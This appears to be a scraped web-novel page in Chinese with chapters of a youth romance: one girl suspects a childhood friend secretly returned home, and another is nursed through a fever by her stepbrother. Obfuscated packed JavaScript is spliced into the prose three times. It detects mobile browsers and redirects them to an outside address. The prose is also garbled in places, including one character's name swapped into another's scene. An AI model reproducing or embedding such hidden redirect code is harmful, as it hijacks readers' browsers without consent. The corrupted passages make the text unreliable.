“昭昭,记得帮妈妈跟莲姨解释一下,下回不忙了我再找她出去玩。”宋母拍拍她的肩膀,诱哄道,“乖哈。” 宋昭昭点头,承载着母亲交代的重任出发了。 这一回,她没有提前告知莲姨。 坐在的士上,宋昭昭反复点开和陈历的聊天界面。 最终,什么都没有发送。 风从降了半扇的窗户中钻进来,吹得鬓角的碎发飘飘扬扬。 宋昭昭收回视线,扭过头,看见阳光明媚的清晨,以及生机勃勃的春天。 - 陈历一向保持着早起的习惯,哪怕周六休息,晨跑结束,吃过早饭,他也没闲着,站在阳台晒起衣服。 双手刚从衣篮里抓到昨天穿的灰色外套,直起身,望见风光路尽头远远走来一个人。 这条小路有凸起的上坡,前后幢房子离得近,狭窄、逼仄,车辆通行困难,的士一般都会选择停在路口。 最后这几步路,居民们通常都是走进来的。 从远处走来的女生穿着牛仔长裤、白色卫衣,柔顺靓丽的秀发披在肩头,一身充满青春气息的打扮。 她低着头在回消息,连路边蹿过一只流浪猫都没发现。 那抹身影他再熟悉不过。 只是,她们一家人自从搬离风光路后,便甚少出现在这里。 宋昭昭今天突然过来,是来找他妈吗? 还是说……余菲泄露了他回家的消息? 捏着衣架的手悄悄收紧,青筋依稀可见。在女生抬头望过来前,陈历率先弯下了身子,从阳台钻回房间。 既然昨天决定让余菲转交零食,那么他今天也该识趣地避开碰面。 陈历毫不迟疑地从桌面捞过手机,再拿了一串房间的钥匙,确认屋子里没有他余下的可疑物品,心稍稍落回原地。 宋昭昭进入筒子楼前两分钟,陈历火急火燎地离开了家。 他没走远,在抬脚与落脚之间犹豫片刻,转身上了六层的天台。 - 宋昭昭步行到达筒子楼底下,停住脚步,给董莲拨了个电话。尽管她是来送礼的,但她没有提前告知,主人家少做准备,恐会觉得自己冒失。 她虽然在某些方面挺愚钝的,但应尽的礼数不会少。 董莲接到宋昭昭的电话,先是惊讶,后是欣喜,电话还没挂断,她已经从楼梯间走下来迎接宋昭昭。 两人在楼道口碰面,董莲收起手机。 “昭昭,你和爸爸妈妈都太客气了,人来就行,怎么还带那么多东西呢?” 董莲一手接过特产,一手揽过宋昭昭的肩膀,宠爱地拍了拍对方。 “这些是妈妈出差带回来的特产,特意叮嘱了要带给您。她说您应该会喜欢。” 董莲连声道:“太破费了!谢谢你们啊。” 两人并肩上了楼,董莲站在门口解锁,宋昭昭立在她背后,脑袋稍稍一转,视线从楼道扶手的空隙扫到顶部。 空荡荡的,连走动的人影都没有。 她眉头微蹙,望着空荡荡的楼道。 “昭昭,进来吧。”背后,门解了锁,董莲招呼她进屋。 宋昭昭收回视线。 进入客厅后,宋昭昭隐约闻到一股清香,很熟悉的味道。 她尚未寻到香味的来源,就被热情好客的董莲一直拉着话家常,从学习成绩聊到她爸妈的近况,宋昭昭一一回答。 “哦,对了,昭昭你中午就在莲姨家吃饭,好不好?” 董莲含笑的眼神落在她身上。 “你想吃炒菜还是汤面,告诉莲姨,莲姨现在去菜市场买。” “都行。” 宋昭昭不想董莲的期待落空,在她的注视中轻点了下头。 尽管她一再强调随便吃点就行,董莲却压下她的手,郑重道:“你是我的小客人,我当然要拿最好的招待你!” “等我一会儿,我去菜场买点菜,去去就回。” 董莲做事干脆利落,说罢,披了件外套风风火火地出了门。 随着门一开一合,客厅瞬间安静了下来。 宋昭昭一个人窝在客厅,百无聊赖地打量着房间布局,其实,她早对这些家具布置了如指掌。 毕竟当初没搬家时,她经常往这儿跑。 莲姨和陈历每次都会盛情款待她,久而久之,她都快把这里当成她第二个家。 后来搬离风光路,宋昭昭也总是想起在这间屋子里,两家人其乐融融聚餐的画面。 也总是回忆起那个天色将暗未暗,介于蓝和黑之间的夜晚。 他们之间,曾经有过那样简单、安宁的片刻。 客厅与阳台的推拉门没关,暖融融的风从窗缝里透了进来,吹得窗帘飘飘荡荡。 空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405689|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气里,隐约浮动着一股清香。 宋昭昭的思绪被拽回,她循着香味走了出去,视线往右移时,不经意间扫到衣架上悬挂的灰色外套。 这件外套一看便知是男士的,宽宽大大,样式简单。 而这间屋子里,只住着一位男生。 宋昭昭走上前,伸出手,指腹搓揉了两下外套的袖口。被洗衣机搅过,没有沥淌着水,但摸起来有些湿,估计是刚洗干净晾晒上去的。 心里的猜测逐渐被印证。 意识到她离真相越来越近,宋昭昭缓缓回过头,视线扫了一遍客厅,最后落在那间房门紧闭的屋子上。 她微微挑了下眉,内心似乎有了定论。 两分钟后,宋昭昭掏出手机,对着这件外套拍下照片,发送给了陈历。 隔了将近一天,陈历的消息姗姗来迟。 他在屏幕上扣了一个问号。 宋昭昭这次不打算与他周旋,在他消息回过来的瞬间,拨通了他的电话。 电话铃声响了十几秒,空荡安静的屋子里,只余下宋昭昭手指随着响铃在墙面缓慢敲打的声音。 一,二,三…… 整整数到十四,陈历才接起这一通突如其来的电话。 “喂。” 低沉的嗓音透过手机,在她的耳畔震动。 她已经很久没有听到他说话的声音,以至于他开口时,宋昭昭产生短暂的恍惚。 张了张嘴,喉咙没有发出声音。 “昭昭,你有什么事情吗?”陈历向来是个有耐心的人,在她保持沉默时,就这么安静地等待她开口。 他似乎在一个周围没有人的环境里,不似往日嘈杂喧闹,只隐约听见呼呼的风声。 “啊……我今天来风光路给你妈妈送东西,看见阳台上挂着这件外套。”宋昭昭开口,言语里带了点试探,“它是你的吗?” 陈历静了一瞬,回答:“应该是的。” “哦——”宋昭昭拉长了语调,疑惑道,“你回家了?” 尾音并非是上扬的,微微下沉,若非仔细辨别,或许要将这句疑问听成简单的陈述。 电话那端的人明显顿了一顿,再开口时声音矮了几分:“没有。” “这样啊……” “好奇怪,你在学校,为什么莲姨突然要洗你的外套?” “可能是因为最近天气好,我妈想把衣服洗干净了给我寄到学校里。” 他逻辑在线,给出的解释还算合理。 宋昭昭若有所思地盯住那件外套,漫不经心地来了一句:“这件外套似乎是爆款,我看学校里也有人穿。” “嗯。” 风声灌入耳朵,宋昭昭喉咙发紧。 “陈历哥哥,你真的,没有回家?”宋昭昭微抬下巴,目光牢牢盯着那件在衣架上飘动的灰色外套。 加重的语气,听出她的期待。 陈历的回答有点顾左右而言他:“最近都在忙参加竞赛的事情。” “难怪啊。”宋昭昭轻声呢喃,毫不掩饰失落。 “难怪昨天都没有回我消息。” 陈历的心像被突然剜了一下,酸痛感席卷全身。 “我还以为——” 这次的语调与上一声有了明显的区别,溢出来更深刻的失落和可惜,就这么畅通无阻地钻入陈历的耳朵。 他眉心微拧。 陈历捏住手机的掌心沁出薄薄一层汗,他尝试着问了一句:“怎么了?” 宋昭昭背贴着墙壁,冰凉的触感透过衣服,冻得她下意识瑟缩了一下。 她望向外套的视线逐渐变得黯淡。 静了半晌,宋昭昭开口:“没什么,就是昨天在学校看见一个人,长得和你有点像。” 宋昭昭自嘲似的笑了声:“我还以为你回来了。” 电话那头的动静戛然而止。 - 她想起昨天晚上,躺在床上刷手机,无意之中打开了学校校园墙,翻过几则消息,目光定在“寻人启事”上面。 【急急急,校园操场看见一位大帅哥,谁有他的联系方式麻烦私戳我,重金感谢!】 文案下面附了一张照片。 照片上,一位未穿校服的男生孤零零地走在操场,拍摄者应该是在教学楼,放大镜头对准男生拍照,像素变得有些模糊。 并且因为他是侧脸朝向教学楼,五官几乎都看不太清。 下面有人调侃。 “光凭一张侧脸就来捞人,不怕被骗啊?” “小心见光死哦!” 打趣议论的评论盖了高楼,多的是看热闹的群众。 唯有宋昭昭的视线,定定地停留在那张模糊的照片上。 这张侧脸,她曾偷看过许多次,断然不可能认错。 断定的同时还夹杂着一丝理智的疑惑,现在没放长假,陈历功课忙,最近应该在学校准备参加竞赛的事宜,怎么会出现在高中学校? 而且,他要是回家了,为什么不告诉她? 她带着问题来找答案,终于在今天,看见阳台悬挂的灰色外套时。 那些灰扑扑的尘埃落了地。 是他。 校园墙上穿着灰色外套的男生是他。 他回家了,并且顺路去了一趟学校。 为什么不告诉她? 他不想见她吗? 宋昭昭的思绪百转千回,最后记起余菲老师送给她的那袋零食。居然会那么巧,每一样都是她爱吃的。 她没记错的话,余菲之前担任过陈历的班主任? 有没有,有没有那么一种可能,其实那袋零食是…… 宋昭昭不敢确认。 所以她拐弯抹角,借着这件灰色外套向他探查心意。 可是他为什么要否认呢?为什么要一而再、再而三地避开她的问题? 陈历,难道你也和我一样…… 是胆小鬼吗? 37. 第三十七章 37 换季时气温多变,早晚温差大。 周五体育课,绕着操场跑完步之后,陈蓓嫌热,脱得只剩一件短袖去打球,打得大汗淋漓又吹了风,接连打了几个喷嚏,她没当回事. 结果当天晚上回到家,发起了高烧。 陈蓓母亲被公司派去出差,梁洲爷爷摔伤了腿,他父亲去医院陪护。 大小事凑到一起,以至于陈蓓艰难地从房间里爬出来时,家里没一个大人。 全身发烫,头痛欲裂。 她好困,也很累,随时可能闭上眼睛沉沉地睡过去。 陈蓓撑着最后一丝力气倒在沙发上,没在卧房躺着,是她怕自己烧晕过去也没人发现。 人在沙发四仰八叉地躺着,等会儿梁洲回家,看见她这副半死不活的模样,良心发现,或许能施以援手。 可她等啊等,从天色微暗等到夜幕低垂,空荡荡的屋子里仍旧只有她薄弱的呼吸和飘荡的窗帘一起一伏。 她决定不再继续等待。 她捞过手机,给梁洲拨了通电话。 电话那端传来机械的女声——对不起,您拨通的电话暂时无法接通,请稍后再拨…… 如此拨了两次,梁洲都没有接听,陈蓓气得抡了身侧的抱枕两拳。 不接电话买什么手机啊! 呼吸因为高烧变得灼热,尤其是在梁洲两次都没接电话时,她的怒意达到最盛。 陈蓓迫切地想要淋一兜凉水。 身体越发虚弱,求人不如求己。 陈蓓支起身子,心想着不能坐以待毙。 陈蓓长叹了一口气,单手搁在沙发上,慢腾腾地挪步到柜子前,她记得柜子里有药箱,一般人家,应该会常备治疗感冒发烧之类的药物。 她立在柜前,视线扫视了一圈,终于在最顶格的柜子里发现了那只白色药箱。 嘴角欣喜的弧度刚上扬一点点,困扰随之而来。 陈蓓一米六五的个子不算矮,可她踮起脚伸手去够,也只能摸到最顶格的下沿。 无法,她只能多走几步,去厨房搬来小板凳。 垫着小板凳,她总算够到了放在柜子最上层的药箱,明明平日力壮如牛,生起病来就这么一个拿取小药箱的动作,都能叫她气喘吁吁。 陈蓓无可奈何地叹了一口气。 当她刚抱下药箱时,门口忽地传来一阵细细簌簌的动静。 陈蓓警觉地竖起耳朵,抬眼看过去。 下一秒,梁洲顶着一张帅脸开门进来。他率先注意到陈蓓踩在凳子上,怀里抱着药箱。 疑问盘旋在胸口,语调仍旧冷冰冰的:“你在干什么?” 陈蓓冲他无语地翻了个白眼,眼睛长着不会自己看啊? 她正在病中,没有力气吵架,也懒得消遣他,手掌贴住柜面,准备走下板凳。 或许,发烧确实能烧死一些聪明的脑细胞,陈蓓明明记得她看清楚了位置才挪动脚步,结果却是一脚踏空,差点摔倒在地。 天旋地转,当她绝望地闭上眼睛,误以为自己将摔个眼冒金星时。 梁洲接住了她。 从玄关处到柜子面前,他几乎两个跨步就飞跃了过来。因为着急,还不小心碰倒了柜子右侧的花瓶。 “嘭,当——” 随着两声清脆的声响叠撞在一起,玻璃花瓶的残渣溅得满地都是。 一屋狼藉。 陈蓓头更痛了。 她不愿意面对现实,倚在梁洲的胸膛前指使:“你收拾。” “我收拾可以。”梁洲双手扶稳陈蓓,克制地滚了滚喉结,保持冷静,“但你能不能先从我身上起来。” “啊?” 陈蓓佯装听不清楚,缓缓抬起头。对视的眼神逐渐涣散,她又低垂下脑袋,乖顺地缩回在他的怀里,低声道:“梁洲,我发烧了。” 梁洲的手一顿。 她把怀里的药箱推了出去:“等会儿你能不能帮我泡一杯药啊。” 梁洲顺手接过,把药箱放到了身旁的茶几上面。 他没答应。 不过,凭陈蓓对他的了解,他不拒绝就是答应。 陈蓓虚弱的声音从他的胸膛低低地传过来:“我没有力气了。”说完,她彻底闭上眼睛,双手虚虚地挂在他的脖子上。 全程一气呵成,生怕梁洲再不由分说地推开她。 他总算注意到她的异常。 难怪进门时,看见她的双颊泛起诡异的红色,一双平日里亮晶晶、冒着鬼点子的眼睛,都无力地耷拉着,懒洋洋地避开了他的视线。 她的体温很烫,从他的脖颈处一路烧到他的脸庞。 梁洲深呼一口气,忽觉他也快被感染了这场高烧。 怀里的人安安静静蜷缩着,双手紧紧勾住他的脖子,梁洲别无他法,单手环住她的腰,另一只手绅士地从她的腿下伸过去,一个打横,将她送去了卧室。 他坐在床沿,掏出手机准备拨打“120”的电话。 这才发现未接来电那一栏显示“陈蓓”的名字。 “你打我电话了?”梁洲明知故问。 “嗯。” 陈蓓在床上侧了侧身,脸埋进了被子里面。 “有什么事吗?”难得没有阴阳怪气,他卸下了一些戒备,轻声问:“吃饭了吗?肚子饿不饿?” 轻柔温和的语气,居然有几分哥哥的做派,听起来很靠谱。 也让她很安心。 陈蓓已经想不起来当时为何要拨出那个电话,甚至固执地打了两回。她想起窗外的天空黑沉沉的,空荡的家里只有她一人,屋子外的烟火与静悄悄的客厅显得尤其割裂。 有点孤独。 那一刻,她需要梁洲的存在。 哪怕不帮忙,只是和她拌嘴、胡闹。 其实,自从她嘴快说要追求梁洲之后,他就如躲避蛇蝎一般避开她,除非正经事,否则发消息只会石沉大海。 他们在这个家,只有在彼此父母面前才能装扮成友好相处的兄妹。 其余时候,不过“你走你的阳关道,我过我的独木桥”。 陈蓓是独生女,从小父母离异,没人陪伴在她身边,她一直都挺无聊的。 大概是生病会让人敏感多思,她居然觉得,后撤一步,就跟梁洲做做表面兄妹也挺好。 人虽烧着,但思绪飞速运转。陈蓓从被窝里探出脑袋,打量梁洲的神色,语气有些随意,又有些认真。 “你说,我不追你了,我们两能好好当兄妹吗?” 梁洲似是听到个笑话,他挑了下眉,似笑非笑地看向陈蓓。 “早点有这个觉悟不就好了。” 陈蓓哼一声:“我这人就是不撞南墙不回头,梁洲你都不是南墙了,你是长城,是堡垒,是铜墙铁壁,反正我撞得头破血流也撞不开你。” 梁洲低垂着眼眸,淡淡道:“你知道就好。” 陈蓓还欲吐槽,肚子适时地叫了两声。她又瘪了嘴,眼巴巴地看向他。 “梁洲,我肚子饿了。” 梁洲掀眼,问:“想吃什么?” 陈蓓:“你给我煮点儿八宝粥行吗?没什么胃口,别的都不太吃得下。”倒是很会使唤人,“不要太稠哦。” “好。” 梁洲给她煮了粥,喂了药,又帮她量过体温,从头伺候到尾,拎着药箱准备走出卧室。 陈蓓忽然低低地叫了他一声。 “哥。” 她叫他什么? 哥? 这个字眼出现的时候,陈蓓从来只有一个想法,那就是恶心他。 但刚刚,她的语气里没有战斗的意思。 梁洲不可置信地回首,对上陈蓓可怜兮兮的眼睛。 “晚上,你可以陪我睡觉吗?”陈蓓缩在被子里,只露出那双看似无害的眼睛,“反正我妈出差,你爸住院,家里没有大人。” “我一个人害怕。” “哥,你可以陪我吗?” 她果然是脑子烧糊涂了。 梁洲捏住药箱的手渐渐缩紧,他方才当真是要被她纯白、无攻击力的假象欺骗了,居然相信她是真打算改邪归正。 孤男寡女,共处一室,这像话吗?更何况她本就对他意图不明。 梁洲扯了扯嘴角,讥讽地哼了一声。 “做梦去吧。” - ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405690|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话虽这么说,不过烧到三十九度,梁洲确实不放心她晚上独自一人睡觉。于是他沉默地扛着被子,在陈蓓房间打了个地铺。 陈蓓一张脸烧得红扑扑的,仍有兴致从床上探出头,调侃他。 “为什么要打地铺,我床上有位置啊。” 梁洲瞪了她一眼。 陈蓓不依不饶:“哥,你是防着我,还是怕自己情不自禁啊?” 长睫毛扑闪扑闪的,脸上露出一股意味深长的笑,故意把人的思想往邪恶的方向引导。 梁洲警告她:“陈蓓,少说些下流话。你再没大没小的,我立马打电话给你妈。” “干嘛?让她听听我们趁他们不在家……” “陈蓓!” “好好好,我不说了。”陈蓓见他真快要生气,连忙举手投降,背过身兴致缺缺地玩了两把游戏。 困意袭来,她毫无防备地将手机一甩,闭上眼呼呼大睡。 因为发烧没有精神,所以难得早睡一晚。 陈蓓第一次醒来的时候,发现梁洲戴着耳机在看电影,大灯关闭,黑漆漆的房间只余下他手机屏幕发出的一道光。 微弱的、白色的灯光。 这种感觉很奇妙。 好像回到了小时候,父母离异后都没有时间照看她,无数个漆黑的夜晚,她都是一个人躲在被窝里。 那会儿她还没有手机,孤独了就和自己对话。 窗帘紧闭、伸手不见五指的房间,没有任何一束光源可以照亮她。 陈蓓在暗夜独行了很久,很久。 梁洲背对着她看电影,神情专注,没有发现床上的人已经醒来,她就这么安静地盯着他看了很久。 后来,陈蓓又再次睡了过去。 直到第二次醒来,她明显感觉到身上的不适感在加重。 嘴巴干燥,仿佛有一把火在燃烧,将她身体里的水分烧得一干二净。 宋昭昭睁开眼的瞬间,下意识去寻暗夜里那道光。 这一回,卧室里唯一的光源也关闭了。天色已晚,梁洲就直直地躺在她左侧的地板上,裹着被子安然睡觉。 他的呼吸声有点沉,应该正在深睡之中。 宋昭昭幽幽地叹了口气。 睡前喝了好几杯温水,此刻尿意正盛,陈蓓打开手机的手电筒,从床上艰难且小心翼翼地爬起来。 她走出卧室,阖上了门。 而当房间里再次陷入黑暗时,一双眼睛悄然睁开了。 陈蓓在厕所待的时间超出正常时间,梁洲翻转了好几次,都没等到她回来。 他怕她那小身板在厕所晕倒,躺在冰冷的石砖上,想至此,梁洲惴惴不安地起身。 刚出卧室,他的目光就被披着外套蹲在阳台的陈蓓吸引。 她怎么在这里? 梁洲一声不吭地盯着她看了几分钟,直到陈蓓都忍不住出声:“哥,你不过来吗?” 她的话好似牵引的线,慢慢地把他拽了过去。 梁洲缓步走到阳台,蹲到了陈蓓身侧,帮她把身上的外套紧了紧,顺着她的视线抬头望过去:“你在看什么呢?” 黑色的夜幕,唯有隐在云层后面的一轮月亮,几乎看不见几颗闪烁的星星。 “在看我自己啊。” 她的回答轻快而明亮。 这个答案令他意外。 梁洲旋即收回视线看向她,眉梢微微一挑。 陈蓓解释:“在看小时候的自己。” 月亮千年万年高悬夜空,小时候的她,害怕到睡不着,就会拉开窗帘抬头望月亮。 那些心事,只有月亮会倾听,也只有月亮,不会泄密。 她想起那个小小的、甚至有点可怜的小人儿。 就会来看月亮。 梁洲在她的瞳孔里看见一轮柔和的明月。 他似乎在琢磨她话里的意思,怔怔地盯着她,思绪开了小差。 陈蓓目不斜视,余光感知到他的目光,不禁失笑道:“你再盯着我看,我会误以为你开始喜欢我了。” 梁洲没有否认。 陈蓓微微一笑,她有自知之明,只当梁洲懒得与她辩驳。 38. 第三十八章 38 月光皎皎,梁洲陪陈蓓在阳台蹲了会儿,困意已然全无。 晚风轻拂,他们之间难得有这样安宁、惬意的片刻。那风暖融融的,扑在身上并不觉得寒冷。 梁洲欲言又止。 “你想说什么啊?”陈蓓注意到他的反常。 梁洲嫌弃地撇了她一眼。 片刻后,气不打一处来:“我就奇了怪了,最近气温上升,你怎么还能把自己折腾发烧。” 陈蓓:“还不是和班里男生打球呗。” “他们都可厉害了,我不费点劲儿根本赢不了。结果打得全身是汗,外套一脱一穿的,不就……” 梁洲从鼻腔处发出一声冷哼。 “你能打过他们?” “其实不能,全靠他们让着我。”陈蓓倒也实诚。 又是一声加重了的冷哼。 陈蓓两只手的手指在半空交缠着玩,长时间仰着头,脖子有些酸,她收回视线。 裹紧外套的同时咳嗽了两声。 梁洲淡淡看过来一眼:“该。” 陈蓓不服气地撇嘴,刚要为自己辩解,梁洲微侧过身,面朝陈蓓伸出了左手。 后者没躲。 他温热的手背贴在她的额头。 原先只是虚虚地探一下温度,本以为吃过药、睡了一觉,体温应该会有所下降,谁知刚贴上的瞬间,他被烫得心跟着猛然一跳。 体温怎么会不降反升? 梁洲难以置信地使了点力道,手背与她光洁的肌肤贴得更加紧密。他眉目紧缩,嘴巴拉成一条直线。 表情非常严肃。 月光下,陈蓓不由自主地勾了勾唇角。 再三探温,都只感觉到灼热。梁洲收回手,站起身,语气稍显认真地说:“你回房间,再测一次体温。” 如果体温计的结果超过三十九度,他打算带她去医院急诊挂水。 “哦。” 陈蓓难得乖顺地没有反驳,她动了动双脚准备起身。 然而刚才蹲的时间太久了,双脚已经麻木,此时一个小小的动作扯到了筋,疼得她倒吸一口凉气。 “嘶——” “我的脚,好像麻了……” 陈蓓无奈地向他表明情况,一只手往身后墙壁的方向伸过去,想借助墙壁撑起身子。 冰凉的触感没有如约而至,陈蓓疑惑地别过头,下一秒,她被梁洲从地面打横抱起。 惊呼卡在嗓子眼,他二话不说将她抱回了卧室。 路程很短,过程也很迅速。 快到一眨眼,陈蓓已经躺回了温暖的被窝。 梁洲帮她掖好被角,去客厅拿来体温计,来去匆匆。 用的水银体温计,陈蓓讲究卫生,不愿意放进嘴巴,所以将它插在腋下。 梁洲背过身去,打开手机看了眼时间。 五到十分钟的测量时间,卧室里,两个人默契地保持沉默。 等待时间流逝。 陈蓓一动不动地望着头顶的天花板,盯着看的时间久,明亮的灯光渐渐变得遥远,落在她眼里变成一圈圈模糊朦胧的光晕。 脑海中闪现方才梁洲抱她进屋的那一幕。 他从始至终冷着一张脸,从她的角度看过去,只能看见线条流畅的下颚线,再往上,是清晰分明的耳廓。 脸色紧绷,神情严肃。 他单穿一件薄薄的棉质睡衣,心脏在胸腔内强有力地、规律地跳动着,她的侧脸贴在他温热的胸膛前,听见“噗通、噗通”的心跳声。 这一刻,陈蓓感到前所未有的安稳。 她想起更早的时候,父母还没有离婚的时候。 夜晚降临,一家三人洗过澡,躺在同一张温暖的床上。 电视里放着狗血电视剧,她百无聊赖地听着演员讲台词,困倦地打了个哈欠。 父亲温柔地帮她把碎发别至耳后,母亲轻轻地拍着她的后背,将她揽入怀中。 她被幸福包裹着,在母亲怀中听见心脏平稳跳动的声音,睡意越来越沉,一觉好眠。 一晃十年,即将成年。 她好像再没有理由和资格钻进母亲的被窝,被她轻拍着后背睡觉。 那不再是独属于她的母亲。 随着年纪增长,阅历增加,学过的道理和知识纷纷灌入脑中,她渐渐明白“世事易变、人生无常”,很多事情不能强求。 虽然父母离婚,感情不在,可他们并没有抛弃她,而是承担起养育她的责任。 将她从那个矮矮小小的小屁孩,拉扯成大姑娘了。 父亲外派非洲,前程似锦,母亲寻得良人,相濡以沫。 每个人看起来都挺幸福的。 她应该为他们的幸福感到开心才对啊。 陈蓓吞咽了下口水,有泪珠溢在眼眶,将落未落。 她轻轻地了一下眼睛,泪水不讲道理地夺眶而出。 在梁洲转身前,陈蓓慌忙用另一只没有夹体温计的手胡乱擦拭眼角的泪水。她在心底默默警告自己—— 你只是生病了,不是要死了,别矫情! 计时结束,梁洲柔和的声音及时响起:“时间到了,你把体温计拿给我。” 陈蓓照做。 对着灯光,梁洲眯起眼。 体温计显示的刻度,刚刚好停留在三十九的数字上,仍是高烧。不过按照网上的说法,腋下测量的温度会比实际温度低一点。 温度居高不下,再拖下去不利于治疗。 梁洲眉心微拧,甩了两□□温计,将它装好壳放进药箱,当机立断道:“你穿好衣服,我们现在去医院。” “为什么?”陈蓓拔高了声音。 她强撑着从床上坐了起来,脸上满是不情愿。 充斥着消毒水的房间,眉头紧锁的病人,还有随处可见的白色制服,都让她感到压抑。 她不喜欢医院,也非常抗拒去医院。 “你现在温度太高了,吃药不一定能缓解病情,还是先去医院让医生看看。” 梁洲坚持。 陈蓓比他更固执:“我不去。” 四目相对。 无声的对峙后,梁洲苦口婆心劝:“拖着会更严重。我最后说一句,得去医院。你不听话,我就不管你了。” 那些被她憋回去的泪又一次涌现了出来,这次毫无预兆,一滴、两滴,当着他的面直截了当地坠落在床单上。 猝不及防的泪打乱了梁洲的话,他无措地捏了捏垂立在身侧的手。 “你别哭。”他上前一步。 陈蓓顶他:“你别管。” 果然是睚眦必报、不肯落下风的女人。 梁洲气笑了,他缓缓坐到床沿,顺手抽了两张纸巾递给她:“医院是什么洪水猛兽吗?为什么不肯去?” “梁洲,我是什么洪水猛兽吗?你看起来好像……很怕我。” 当初,一个人站在房内,一个人堵在门口,陈蓓就是拿话这么呛他的。 他记下了。 鼻子酸酸的,眼眶热热的。陈蓓错开他的视线,接过纸巾擦拭眼泪。 她赌气似的侧对着梁洲,拒绝与他对话。 只是当着他的面流了两滴泪,没什么可丢脸的,陈蓓如是安慰自己。 可她忽然觉得看不清自己。 为什么她会因为那句“你不听话,我就不管你了”而产生情绪波动。 从小到大,她被抛弃过很多次。 第一次来自父母。 后面她恋爱、分手、再恋爱,有主动提出分手的,也有被动接受分手的,一段段恋情好比天上掠过的飞鸟。 鸟儿从眼前飞过去了,那些感情也就自然而然在心底消散了。 她无比确定,那些深夜里流的泪,不为那些朝三暮四的男人。 因为她比他们更会拈花惹草。 那今晚呢,为何哭泣? 因为梁洲? 还是因为那一句“你不听话,我就不管你了”? 生病果然麻烦。 高烧不退,经过刚才那一番折腾和流泪,陈蓓头疼欲裂。她也不想纠缠那滴泪的缘由,蔫蔫地说:“今天麻烦你了。” “不想管我的话,你现在可以回房休息了。毕竟,睡地铺挺累的。” 说罢,她闭上眼睛缩回了被窝。 温暖的被子罩着她,仿佛要将那些脆弱全都包裹起来,轻易不示人。 卧室内静了半晌。 陈蓓闭着眼,看不见,听觉却变得灵敏。 她听见梁洲无可奈何的叹息,听见他从床沿起身,发出细细簌簌的声响,听见他往门口走的脚步声,听见“啪嗒”一声。 灯被熄灭了,房间又陷入无边无际的黑暗。 陈蓓的手紧紧捏住被角。 梁洲走回了地铺,一言不发地掀开被子躺进去。 无边的寂静在卧室内蔓延,两颗心仿佛互相牵扯着,一起一伏。 半晌后,梁洲低沉的嗓音在背后响起。 “如果还感到不舒服,随时都可以叫醒我。” “睡吧。” 回应他的,是无边的沉寂。 陈蓓在心底默默补上一句。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405691|168762||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “晚安。” - 这一觉,陈蓓睡得格外安稳,直到日上三竿了才悠悠转醒。醒来第一件事,便是去寻找梁洲的身影。 然而当她转过头,只看到空空的地板。 陈蓓这才后知后觉,他的被子和床垫已经全部搬了回去。 仿佛昨晚种种,是一场好梦。 落寞的情绪在脸上一闪而过。 昨晚吃过药,虽然一开始温度没有降下来,但经过一个晚上的休息调整,她的精神已经逐渐开始恢复。 陈蓓瞄了眼手机时间,起床去洗漱。 刚出卧室,陈蓓就看见了坐在沙发看电视的梁洲,显然,他也注意到这边的动静,掀开眼皮看过来。 视线在空中相遇,又别扭地移开,再移回来。 “你醒了?” 这不是明知故问?陈蓓莞尔:“可能还没醒。” 见她有力气贫嘴,梁洲悬着的心稍稍放下来一点。他又问:“中午想吃什么?” “还不饿。” 大概是因为生病,陈蓓平日里能搬山移海的活力被抽去了大半,讲话声音低低的,音色柔和,听起来像是在撒娇。 喉咙仿佛被羽毛轻轻挠了一下,有点痒。 梁洲轻“嗯”了声,别开眼,喉结微不可察地上下滚动了两趟。 陈蓓钻进浴室洗漱,磨蹭了将近十分钟才刷完牙、洗完脸。 困乏地打了个哈欠走出来,她自然地坐到了梁洲身侧,双脚盘踞在沙发上,问:“你在看什么啊?” 她涂了水乳,淡淡的香味随着她坐到身侧,钻入他的鼻孔。 梁洲有短暂的失神。 直至陈蓓大剌剌地捅了一下他的胳膊:“问你话呢,你在看什么啊?” 梁洲随口答道:“哦,一部动漫,随便看看。” “好看吗?” 主页随便翻到的,因为心系陈蓓的病情,注意力没有集中在动漫上,所以没怎么看。 “还行吧。” 他找了个中庸的词汇回答。 “那我也看看。” 陈蓓找了个舒服的姿势靠坐在沙发上,话后面跟着悠悠的哈欠。 她刚看没两分钟,卧室的手机传来语音通话的铃声。 陈蓓换了个姿势,眼睛一眨不眨地盯着电视屏幕。 梁洲见她没有挪屁股的打算,主动起身帮她去拿。他尊重他人的隐私,全程没有往她的手机屏幕瞄一眼。 陈蓓也没瞄。 她兴趣寥寥地接起语音,懒洋洋地“喂”了声。 电话那端传来明亮的男声,对方热情地跟她打招呼,寒暄过后露出打来这通语音的真实目的:“其实我想问,你下午有时间吗?” “怎么了?” “想约你出去看电影。” 